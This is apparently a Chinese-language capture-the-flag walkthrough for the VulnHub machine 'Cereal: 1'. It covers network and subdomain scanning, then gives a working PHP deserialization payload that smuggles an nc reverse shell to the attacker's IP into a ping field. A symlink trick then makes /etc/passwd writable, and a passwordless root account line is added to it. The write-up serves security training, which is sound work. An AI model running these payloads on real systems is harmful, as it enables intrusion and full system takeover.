准备:
攻击机:虚拟机kali、本机win10。
靶机:Cereal: 1,下载地址:https://download.vulnhub.com/cereal/Cereal.ova,下载后直接vbox打开即可。
知识点:/etc/passwd文件提权、dns解析、反序列化漏洞、子域名收集、软连接提权。
信息收集:
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.5.0/24,获得靶机地址:192.168.5.169。
扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.169,显示开放了21、22、80、3306、44441等端口,开启了http服务、ftp服务、ssh服务等。
目录扫描:
使用gobuster进行目录扫描,命令:gobuster dir -u http://192.168.5.169 -x php,html,txt,zip,phar,ba -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现/blog目录、/admin目录、phpinfo.php文件。在扫描44441端口时未发现有效的信息。
访问:http://192.168.5.169/admin/返回的是一个登录页面,访问:http://192.168.5.169/blog/返回一个信息页面,返回的信息中告诉我们一个地址:http://cereal.ctf,猜测是要进行dns解析。
win:打开C:\Windows\System32\drivers\etc\hosts文件,kali:打开/etc/hosts文件,添加:192.168.5.169 cereal.ctf。然后访问:http://cereal.ctf/blog/,但是同样未发现可以利用的信息。
子域名信息收集:
使用gobuster进子域名扫描,发现secure.cereal.ctf,将192.168.5.169 secure.cereal.ctf添加到hosts文件中。
访问:http://secure.cereal.ctf:44441/网站,显示是一个可以进行ping测试的页面,尝试进行命令注入:192.168.5.150 | ifconfig,但是失败。
访问页面的源码信息,发现一些关于序列化的例子,猜测这里可能和反序列化有关,抓取数据包进行查看。
使用gobuster对子域名进行目录扫描,发现:/back_en目录,继续对该目录进行扫描,获得:index.php.bak文件。
访问index.php.bak文件并查看该源码信息,发现当$isValid = False时会对ip进行过滤检查,因此我们需要设置$isValid = True来绕过ip过滤。
反序列化漏洞获取shell:
因此根据我们的分析在序列化数据中写入我们的反弹shell,生成序列化代码。
<?php class pingTest { public $ipAddress = "127.0.0.1 & nc -e /bin/bash 192.168.5.150 6688"; public $isValid = True; } echo urlencode(serialize(new pingTest)); ?>
O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A46%3A%22127.0.0.1+%26+nc+-e+%2Fbin%2Fbash+192.168.5.150+6688%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
在bp抓取的数据包中替换序列化数据,然后在kali中开启对6688端口的监听,发送抓取的数据包,成功获得shell权限。
升级下shell权限,但是升级时发现不存在python,因此只能使用:SHELL=bash script -q /dev/null进行升级。
提权-信息收集:
尝试使用sudo -l查找可以执行命令,使用find / -perm -4000 -type f 2>/dev/null查找可疑文件,但是未发现可以利用的命令和可疑的特殊文件。
那就直接上传pspy64查看下靶机得进程信息,发现了一个可疑文件:/bin/bash /usr/share/scripts/chown.sh。
查看下/usr/share/scripts/chown.sh文件的信息,发现该文件的执行结果是赋予apache账户对/home/rocky/public_html/目录下文件的使用权限。可查看chown命令详解。
软连接提权:
这里看到rocky账户具有/etc/passwd文件的权限,因此我们可疑将该文件进行软连接到/home/rocky/public_html/目录,使apache账户也具有该文件的权限。
但是在尝试修改该文件时左右键无法正常使用,因此我们只能新建一个具有root权限的账户,复制root账户的信息并删除掉占位符x:upfine::0:0:root:/root:/bin/bash写入到passwd文件中。
获得root权限后在/root目录下发现proof.txt文件,读取该文件成功获得flag值。